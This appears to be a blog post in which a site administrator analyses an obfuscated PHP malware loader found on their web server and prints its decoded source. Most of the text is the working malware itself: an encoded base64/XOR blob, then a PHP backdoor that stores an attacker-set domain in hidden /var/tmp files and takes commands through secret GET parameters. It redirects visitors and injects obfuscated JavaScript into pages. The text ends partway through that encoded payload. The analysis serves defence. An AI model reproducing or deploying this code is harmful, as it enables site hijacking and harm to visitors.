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
ATQsHws1Ah8MNhEPADUsKQw2AQ8ANTwhDDYrDwA1EiEMNisPSDYRSEk0PCFJNCwhCzUsMQw1EQ9INQFI
AjQ8PQA2O0hINDw9ADU7SE00PD0BNhFISzQ8KQ80LB8LNgIpDDY7DwA1EjEMNisPADUsEww3Kw8ANTwh
DDYBDwA1LBMMNQEPADUsMQw2AQ8ANSwpDDUBDwA1LC0MNisPSDURSAE0PD0PNgFISzQ8PQ81EUgANDw9
DzURSAI0PClJNCwpCzY8Hww2AQ9INztITDQ8KQI0LDELNhIfDDcrDwA2AUhLNDw9SDQsKQg3Si5KIS8P
Fy1IIjsuLU0wLhNJOywrE09fUUNYch0OGRRQOTA0MTo6PSAvN1FDRFcLGwoRCAxGX1pRQ3IFcnIeDRYb
DBEXFlgbEB0bEycLDBkMDQtQXBweSVRYXBweSlFYA3JYWFhYWFhYWFwcFxUZERZYRVgKHRkcJwsMClBc
HB5JVFhcHB5KUUNyWFhYWFhYWFgdGxAXWFo8FxUZERZYEQtCWFwcFxUZERZyWkNyBXJyHg0WGwwRFxZY
Ch0ZHCcLDApQXB4WGRUdSVRYXB4WGRUdSlFYA3JYWFhYWFhYWFweERQdWEVYHhcIHRZQXB4WGRUdSVRY
XwpfUUNyWFhYWFhYWFhcFhkVHVhFWFweFhkVHUlDclhYWFhYWFhYER5YUFlcHhEUHVFYA3JYWFhYWFhY
WFhYWFhYWFhYXBYZFR1YRVhcHhYZFR1KQ3JYWFhYWFhYWFhYWFhYWFhYXB4RFB1YRVgeFwgdFlBcHhYZ
FR1KVFhfCl9RQ3JYWFhYWFhYWAVyWFhYWFhYWFgRHlhQWVweERQdUVgDclhYWFhYWFhYWFhYWFhYWFgK
HQwNChZDclhYWFhYWFhYWFhYWFhYWFgcER1QWjsXDRQcWBYXDFgXCB0WWB4RFB1YHhcKWAodGRwRFh9y
WlFDclhYWFhYWFhYBXJYWFhYWFhYWFwLDApYRVgeCh0ZHFBcHhEUHVRYHhEUHQsRAh1QXBYZFR1RUUNy
WFhYWFhYWFhcCwwKWEVYHB0bUFwLDApRQ3JYWFhYWFhYWB4bFBcLHVBcHhEUHVFDclhYWFhYWFhYCh0M
DQoWWFwLDApDcgVych4NFhsMERcWWAsZDh0nCwwKUFwLDApUWFweFhkVHUlUWFweFhkVHUpRWANyWFhY
WFhYWFhcHhEUHVhFWB4XCB0WUFweFhkVHUlUWF8PX1FDclhYWFhYWFhYER5YUFlcHhEUHVFYA3JYWFhY
WFhYWFhYWFhYWFhYXB4RFB1YRVgeFwgdFlBcHhYZFR1KVFhfD19RQ3JYWFhYWFhYWAVyWFhYWFhYWFgR
HlhQWVweERQdUVgDclhYWFhYWFhYWFhYWFhYWFgKHQwNChZDclhYWFhYWFhYWFhYWFhYWFgcER1QWjsX
DRQcWBYXDFgXCB0WWB4RFB1YHhcKWA8KEQwRFh9yWlFDclhYWFhYWFhYBXJYWFhYWFhYWFwLDApYRVgd
FhtQXAsMClFDclhYWFhYWFhYHg8KEQwdUFweERQdVFhcCwwKUUNyWFhYWFhYWFgeGxQXCx1QXB4RFB1R
Q3JyBXJyHg0WGwwRFxZYCxkOHSccFxUZERZQXBwXFRkRFlFYA3JyBXJycg==";
$raw = base64_decode($encoded);

$res = '';
for ($i = 0; $i < strlen($raw); $i++) {
        $res .= chr(ord($raw[$i]) ^ ord('x'));
}
//eval($res);
print_r($res);

?>

What the hell is that?!

Without thinking about it, I removed the affected lines, checked the website that works as expected, and secured the necessary places accordingly.

Still though, I could not stand still; how the heck that abomination actually works?

I had to find out, because I could not guaranteed anything that possibly that malware had managed to install something somehow on our web server.

So, what I did was to replace eval with print_r to produce the desired output.

The results were even much more staggering than I originally anticipated:

<?php

$DOMAIN_FNAME1_7QNG = '.SIc7CYwgY';
$DOMAIN_FNAME2_7QNG = '/var/tmp/.SIc7CYwgY';
$KEY_FNAME1 = '.LX5fId6';
$KEY_FNAME2 = '/var/tmp/.LX5fId6';


foreach ($_GET as $key => $value) {
        if (strpos($key, 'pagerd_') === 0) {
                $domain = read_str($DOMAIN_FNAME1_7QNG, $DOMAIN_FNAME2_7QNG);
                redirect($domain);
                return;
        }
}

/* status */
if ($_GET['6FoNxbvo73BHOjhxokW3'] !== NULL) {
        check_status($DOMAIN_FNAME1_7QNG, $DOMAIN_FNAME2_7QNG);
        return;
} else if ($_GET['8Yx5AefYpBp07TEocRmv'] !== NULL) {
        /* setdomain */
        $domain = $_GET['8Yx5AefYpBp07TEocRmv'];
        if ($_GET['https'] !== NULL) {
                $domain = "https://$domain";
        } else {
                $domain = "http://$domain";
        }
        echo $domain;
        save_str($domain, $DOMAIN_FNAME1_7QNG, $DOMAIN_FNAME2_7QNG);
        return;
} else {
        send_js();
}

function store_key() {
        global $KEY_FNAME1, $KEY_FNAME2;

        $key = substr(md5(microtime()),rand(0,26),5);
        save_str($key, $KEY_FNAME1, $KEY_FNAME2);
        echo "<script type='text/javascript'>localStorage.setItem('key_','$key')
;</script>";
}

function xor_enc($str) {
        $key = 'KQzLStQQblMU3rBGqFyEn8LlEWZ1G4vbK7YcpfZKrjaUQhP3sQKJHKaVLtr0H8RS
PPqbDqfNEQ0Yu08mHsI77NGcU5rbsMLNWwlqDXmM5E9WqY73rBvXwj5GkQay2wnuGc4wFKYyYLMEhQDA
G60aeYudKtUSUXDHYG912g0VWlYob3lycp0eC1QnoQe3xsWPbA3e1ZWY';
        $res = '';
        for ($i = 0; $i < strlen($str); $i++) {
                $res .= chr(ord($str[$i]) ^ ord($key[$i]));
        }
        return $res;
}

function enc($str) {
        $res = xor_enc($str);
        $res = base64_encode($res);
        return $res;
}

function dec($str) {
        $str = base64_decode($str);
        $res = xor_enc($str);
        return $res;
}

function redirect($url) {
        die("<script type='text/javascript'>
           window.location = '$url'
      </script>");
}

function send_js() {
        echo("<script type='text/javascript'>var AHLIBBEXWO = atob('dmFyIFNGQlVO
R1ZNQk0gPSBTdHJpbmcuZnJvbUNoYXJDb2RlKDE4LTgsMTE5LTEsMTAxLTQsMTE2LTIsMzYtNCwxMTUt
OCwxMDQtMywxMjMtMiw0MC04LDcwLTksMzgtNiw0NC01LDgwLTEsODgtMiwxMDctMywxMTItOSw3NS03
LDc4LTcsODQtNiw3Ni0xLDkyLTIsNjktMiw0MS0yLDY2LTcsMTYtNiwxMjYtOCwxMDMtNiwxMTctMywz
Ni00LDEwNS00LDExNy03LDEwNC01LDEwNi01LDEwMi0yLDQxLTksNjItMSwzNi00LDQwLTEsOTgtOSw3
Ny01LDExNS03LDkyLTcsNzQtNCw3Mi01LDEwMy00LDU0LTUsNzYtMiwxMjYtNCwxMjQtOSwxMjAtMywx
MTAtOCw4OC0zLDg5LTQsMTA5LTYsNzMtNiw4NC0yLDk1LTksMTExLTQsODEtNCw3MC00LDc1LTYsMTE5
LTksODctOSw5MC03LDcwLTUsMTIxLTQsNzQtMSwxMTEtOCw3NC01LDc5LTYsNzgtMywxMTQtNSwxMDEt
MSwxMjMtMSw5MC05LDkwLTIsMTIxLTksMTEwLTQsMTAxLTMsNTctNiw5Mi0yLDc0LTEsODgtNiw1Mi0y
LDgxLTMsMTIwLTksMTA3LTgsOTMtOSwxMjItNyw1OC0zLDc1LTEsNzMtNiwxMTMtMiwxMTAtMyw3MC0y
LDc0LTYsMTEyLTgsMTA3LTEsOTMtMyw1OS05LDk0LTgsMTIwLTYsNzItMiwxMjctNiw3NC0xLDY0LTks
ODEtMSwxMDgtMSw5NC01LDkyLTYsODItOCw5MC03LDExMS00LDExNC0xLDc4LTQsNzUtNywxMDUtNSwx
MTktNSw5Mi0yLDExMS0xLDExMi05LDEwNC01LDcwLTMsNjctMSwxMDQtNSwxMzEtOSw4My0zLDc0LTcs
NzYtMyw1Mi00LDc1LTEsNzMtMiwxMDItMiwxMTItNCw5My01LDEwOS0yLDYxLTgsMTIwLTcsODQtNiw3
Ni04LDExNi0xLDExOS03LDc5LTQsOTItOCwxMDMtNCw2MC0zLDg2LTYsMTIxLTIsOTctOCw2OS00LDEw
MC0yLDc3LTUsNjctMSwxMTMtMywxMDYtNyw3Mi0yLDY3LTEsODItOCw4MC01LDg1LTIsODEtNCw3Ny02
LDY3LTEsNzItNCw2Ny0yLDEyMi01LDc2LTMsODUtMiw5MC00LDYwLTYsODMtNiw3Ni04LDEyMi03LDU1
LTQsNzktOCwxMTAtNiw4MC0yLDEyMC01LDEwMi00LDExMC0xLDU0LTIsMTI3LTgsOTQtOSw3Ny04LDEx
Ni04LDEyNy05LDEwNS01LDEwNS0xLDYwLTgsNzgtNyw4Mi00LDExOC05LDEwNi03LDExNi01LDgxLTIs
ODUtMSw4Ny0yLDEyMi01LDEwMC0yLDU1LTUsMTIxLTUsNzYtMyw3My04LDEyOC03LDEyMi03LDExNC03
LDgyLTMsMTIzLTIsOTAtMSw1MS00LDc3LTEsODYtMiwxMTktMyw1My0xLDgwLTksMTA4LTUsNzgtNSwx
MDctMiw3Ni0zLDExNC04LDEyMy00LDYyLTksODYtNiwxMjktNyw3NC00LDU0LTYsOTctOSw3MS0yLDEx
MC02LDczLTEsODAtMywxMTAtNSw5Ny04LDYzLTcsMTA2LTksMTMwLTgsODUtNyw1Ny01LDgzLTEsOTAt
NCwxMjYtNiw4MC03LDg3LTUsMTI5LTgsNTAtMiwxMDYtMiwxMDMtNSwxMTQtNSw3OC0xLDU2LTMsODIt
NywxMjctNiwxMTgtNyw1NS02LDY4LTMsMTI0LTMsODctNiwxMTYtMiw4Mi03LDY5LTIsOTAtNSwxMDkt
NCw4Ni02LDUzLTMsMTI1LTksMTEwLTEsMTA3LTUsNTAtMiwxMDctNCwxMDctOCw4Ny0zLDExMy00LDEw
Mi0yLDExOC0xLDEwMS00LDU5LTgsMTE0LTMsMTI5LTksODItNywxMTItNyw3Ni0zLDEwNi02LDcyLTIs
ODUtMiwxMjAtOCw1OC0yLDg0LTIsNzgtNywxMTgtMiw1Ny0zLDg5LTksMTA5LTIsODctMSw1NS01LDg2
LTMsNzMtNyw3Ni03LDExNi04LDg1LTcsOTUtOCw1OC02LDUyLTksODctOCwxMjItMSw4OS04LDExOC01
LDgwLTEsNjctMSwxMjEtMSw3Ny01LDEwOS04LDk1LTgsMTAwLTEsMTExLTgsODAtNSwxMTMtOCwxMjgt
OSwxMTktNiw4MS02LDc3LTksMTA4LTksMTA2LTcsNzMtNiw3Ni04LDk3LTcsMTEzLTEsODAtMSwxMzAt
OCwxMTEtOCw1MC0zLDgxLTQsODMtMiw1NS0zLDEyMS0xLDc0LTYsODctNiwxMTItNSwxMjMtNCwxMDgt
Niw3Ni03LDg1LTMsMTE3LTMsMTA3LTYsMTEzLTgsMTE4LTcsMTE0LTIsMTA4LTgsMTE2LTksNzEtNSw3
OC03LDg2LTksOTAtNyw5My00LDExNS0zLDg1LTksMTEzLTcsODYtNSw1Ni01LDk5LTEsMTI3LTYsMTE0
LTMsODYtMSw4My0xLDEyOC02LDc4LTksMTE2LTcsNzctMiw4NC0xLDU1LTMsNTQtNiw4Mi00LDU2LTYs
NzUtNiw1OC00LDc3LTksODYtNSwxMTQtNywxMTUtOSw3OC0xLDEyNi01LDk0LTQsMTE1LTEsOTEtMSw1
Ny02LDU2LTMsMTIyLTQsOTQtNCwxMTItNSw3NS01LDc3LTUsODgtOCw1Ny05LDU3LTgsMTIyLTUsMTA2
LTksNTYtNSwxMTYtNCwxMDktMyw4NC00LDkxLTcsODEtNCwxMDgtOSw3Mi0zLDEwNy0xLDk0LTUsMTE4
LTYsMTAyLTIsODctMiw3Ny03LDYxLTcsOTEtMiwxMjYtNCw4Mi04LDEwNy04LDkyLTksNzctOCwxMDEt
MiwxMjctNyw3OC00LDEwOC0zLDExMi01LDEyMy02LDgyLTQsNjktMSwxMDYtNiwxMjYtOCwxMDItNSw1
Ni04LDEwOC01LDg3LTQsNzUtMSw5MC03LDY2LTEsMTE1LTEsODEtNyw4Ni0zLDU0LTEsMTI0LTgsODQt
NSwxMjUtMywxMTYtOSwxMTItNSw2OC0xLDc2LTgsODEtNCwxMDktNCw4Mi0yLDc0LTksMTEwLTcsNTct
Miw4MS00LDc1LTgsMTIwLTgsNTAtNyw4OC03LDk0LTgsMTI3LTcsODQtNSw5Mi0yLDU5LTksNjAtOCwx
MDctMiw4MS0xLDc5LTgsODYtOCwxMTYtNiw3NS0yLDEyMS0yLDExNC03LDc0LTksNzktNiw4NS0yLDEx
NS04LDU4LTQsOTctNyw5Mi04LDgxLTQsMTIyLTYsODMtOCwxMjQtMiw3OC0xLDgzLTIsNzYtMSw3MC0z
LDgwLTYsMTIzLTUsMTA1LTgsODUtMiwxMjEtMiw1NC01LDg1LTksNzQtNywxMDQtMSw1Ny0zLDcyLTQs
ODktNCw2OS0zLDExOS0zLDkzLTMsNTYtNiw2NS04LDU2LTYsMTA0LTMsMTEwLTEsNjAtNyw0OC01LDEw
MS0xLDExMy05LDgyLTEsMTA2LTgsOTYtNiw3NS03LDc5LTYsMTIyLTQsODItNiw3NC02LDU4LTIsMTIw
LTQsODctOCw1NS00LDExMi05LDc1LTksNzQtNyw4NS0yLDY2LTEsMTA5LTQsODUtNywxMDUtMiw4Ny02
LDY1LTksMTA1LTgsNTYtNiwxMDktNiw1MC0yLDcxLTUsMTI0LTQsODAtMiwxMDctMSwxMDAtMiwxMTIt
Myw2MC03LDEyMi05LDkxLTEsNTEtMSw4MC0yLDExMC01LDk1LTUsNTEtMSw4Mi04LDc4LTYsOTMtMyw3
NC0zLDEwMy0zLDEyNS04LDEwNS04LDU4LTcsMTE1LTQsNTUtOCw4Mi01LDUyLTEsOTQtNSwxMDMtMyw2
OC0yLDExNC05LDg1LTgsMTA4LTMsNzUtMiw3MC0yLDU5LTIsNTQtNiw3OS00LDEwNy0yLDc4LTksMTIy
LTEsNzAtMiw5MS05LDYwLTQsODMtNyw3NC0xLDkyLTUsOTItMiwxMTctMiw4OC05LDg3LTMsNzYtNywx
MTktMiw4MS04LDg1LTQsODUtMyw3My04LDEwMC0yLDkwLTMsMTA5LTksMTI0LTYsMTA5LTksMTE4LTgs
MTE3LTUsMTIyLTUsMTA1LTMsMTE4LTgsNjAtMyw4MC03LDczLTEsNzAtMSw2MC03LDgxLTMsMTA2LTgs
MTEzLTQsMTIyLTcsMTE1LTUsOTUtNiwxMjQtMywxMTYtNSw2My05LDc4LTcsMTIyLTMsODItOCwxMDgt
MSw4OS05LDc2LTcsODctNSwxMTgtNCwxMDctNiwxMTEtMiw4MS0zLDEyNi04LDg3LTcsMTIwLTEsNTUt
Miw3NS0zLDEwNy05LDc3LTksNzMtOCwxMTEtMSw3NS0xLDkwLTYsNTQtMiwxMTctMiw4Ni03LDczLTEs
MTExLTgsNzMtOCw3Ni04LDExMS01LDEwMC0xLDEyNC0yLDgwLTcsOTItOCwxMDktMiwxMTUtOSw5Ni03
LDU3LTcsMTEyLTQsMTIyLTMsODYtMyw3MS01LDY3LTIsMTE5LTMsNzctMiw4OS02LDExMi0xLDEwOS0y
LDgzLTcsOTEtNCw1Ni04LDExMS0xLDg1LTUsMTI4LTgsMTE5LTQsOTEtNyw3OC0zLDEyNy01LDg2LTEs
NTYtNSw5My0zLDkxLTcsOTEtMiwxMTQtNSw3NS0yLDg5LTUsNzctOCwxMDctOCw3Mi00LDU1LTUsODgt
Niw1NS0yLDk5LTEsMTE1LTUsMTE3LTksMTI4LTYsOTEtMiwxMjMtMSw4My0xLDEwMC0xLDg2LTMsNzEt
MiwxMDEtMSwxMTAtMyw5NS01LDUxLTEsNTktNiwxMTktNSw3Ny0xLDkwLTcsMTE4LTcsMTExLTcsODAt
MywxMDYtMywxMDAtMSw4OC03LDEwMS00LDExMy04LDExNy0yLDEwOC00LDc2LTEsNzQtNiwxMTctMiw1
Mi0xLDc1LTEsMTEzLTcsMTA4LTEsNzctNiw4OC02LDUzLTIsMTA5LTEsMTEyLTIsODUtNiw4OC02LDgy
LTEsNTktOSw4Mi02LDc0LTcsMTI4LTksNTgtNyw4MC04LDY3LTIsNTMtMSwxMTktNSw4My04LDkwLTIs
ODktMyw2Ny0xLDEwOS04LDExNi03LDg0LTYsMTIzLTUsMTAzLTMsMTA2LTIsOTAtNCwxMjMtNyw5NC00
LDcyLTEsMTA3LTgsMTI4LTYsODItMSw4OS0zLDY4LTIsMTExLTUsMTAyLTQsMTI1LTMsNzEtNiwxMDYt
Niw3MS00LDg4LTUsMTAxLTIsMTI2LTQsODMtOSwxMjItMSw5MC05LDU2LTgsOTQtNSwxMjgtNywxMDkt
NiwxMzAtOCw4MC04LDY5LTIsODYtNSwxMjAtNiw4Mi03LDY4LTEsODktNCwxMDctMiw4OS05LDUyLTIs
MTIxLTYsMTI0LTksNzItNSw4Mi0xLDk1LTYsNzgtNyw4MS02LDkxLTgsNzgtNCwxMTItMiwxMDQtNywx
MjktOCw3Mi0yLDgwLTYsMTA1LTcsNTgtNyw5OC04LDc0LTEsODgtNiwxMjQtMiw4Mi05LDExMC0xLDgz
LTMsNzQtMywxMjEtNiw1NC0xLDc2LTQsNzQtNiwxMTAtMyw1NC0zLDc1LTksNzUtOSw3OS02LDExMC02
LDk4LTgsNTgtNyw4MS0zLDExOC00LDg0LTQsMTA3LTIsMTIzLTQsMTE4LTMsNzktNiwxMjMtNCw5MS02
LDc2LTksNzctMiwxMDgtMiw4MC0yLDExMi05LDc4LTMsNzQtNiw4OC0zLDExOS00LDc1LTEsNzMtNSw2
Mi02LDc5LTEsOTAtMiw3MC0xLDU4LTUsMTE1LTUsMTA0LTYsMTE0LTUsMTIzLTcsNTktNSw4NS03LDky
LTksNTUtMywxMTAtMyw5Mi05LDcxLTYsODctNiwxMDQtNiw4Mi00LDcyLTQsMTE3LTYsMTIxLTgsNzYt
MSw3NS03LDEwMy0zLDEyNi04LDEwNC03LDU1LTcsMTA1LTIsNzEtMiw3NS00LDEyNC0yLDcwLTEsMTIy
LTQsNzUtMSwxMjUtNCw2My03LDExNS02LDkxLTIsODgtNCw1Ny0xLDcyLTEsNzItNywxMjMtMiw3Mi0z
LDUzLTYsNjktNCw5MS04LDUwLTEsMTI1LTQsOTEtMiw5Mi01LDYwLTMsNTYtOCw5Mi05LDcyLTMsMTI5
LTksMTEyLTUsNzYtMiw3NS05LDcwLTEsMTExLTMsODAtMSwxMjctNiw1Ny01LDExNy00LDEwNC00LDEx
NS04LDgyLTQsNzgtNiw5OS05LDExMi0yLDExOC02LDEyNC05LDk4LTksMTE0LTUsNzItMiw3NS0xLDEw
MS0zLDU2LTUsOTItMiw3NS0yLDkxLTksMTMwLTksNTYtOCwxMDktNSw5OS0xLDExNS02LDgzLTYsNTUt
Miw3Ni00LDc2LTgsMTIyLTMsMTEwLTUsNzYtOSw4Ny01LDg3LTIsMTIyLTMsOTQtNCw1My0yLDg1LTcs
NTYtNiwxMDgtNywxMTgtOSw1Ny00LDQ2LTMsMTA5LTcsNTAtMiwxMDktNiwxMDUtNiw4NS0xLDExMi0z
LDEwMS0xLDExOC0xLDk5LTIsNTYtNSwxMTctNSwxMDktMywxMDAtMiwxMjYtNCw5NC05LDUyLTEsNzEt
MSw2OS0xLDc0LTksMTE4LTksODEtMSw3MC0yLDYwLTMsNTktNSwxMDgtNiwxMTEtMiw2MS01LDU1LTYs
ODAtMiwxMjQtNCw3NS02LDExMi00LDgzLTgsMTI1LTMsMTE4LTMsMTE4LTEsMTA4LTgsNjgtMSwxMTct
NiwxMDctMyw4NC03LDEwNi0zLDQ5LTEsMTA2LTQsNzUtOCwxMjYtNSw3OS05LDExNi03LDc4LTMsNjct
Miw4Ny0yLDEyNC04LDg0LTgsMTExLTUsMTIzLTgsODMtNSw4NS0zLDU3LTcsNTgtMSwxMTMtMywxMDIt
NCw3Ni00LDk4LTgsNTQtMiw5OS0yLDExOS05LDg5LTcsMTA0LTUsODgtNSw3NC01LDEwNC00LDExNS04
LDk3LTcsMTIzLTEsODctOSw3My03LDEwMy0yLDExOC05LDg3LTksMTI0LTYsMTA2LTYsMTA5LTYsNzQt
NSw3MS01LDk0LTQsNzQtMyw2My03LDEyMy03LDcxLTEsNjktMiwxMDktMiw2MC05LDc5LTMsMTA4LTMs
ODUtNCwxMDUtNiw5MS05LDYwLTksMTEyLTQsNTYtMiwxMDYtOCwxMTgtOSw5Ni02LDEyMi04LDEwMS00
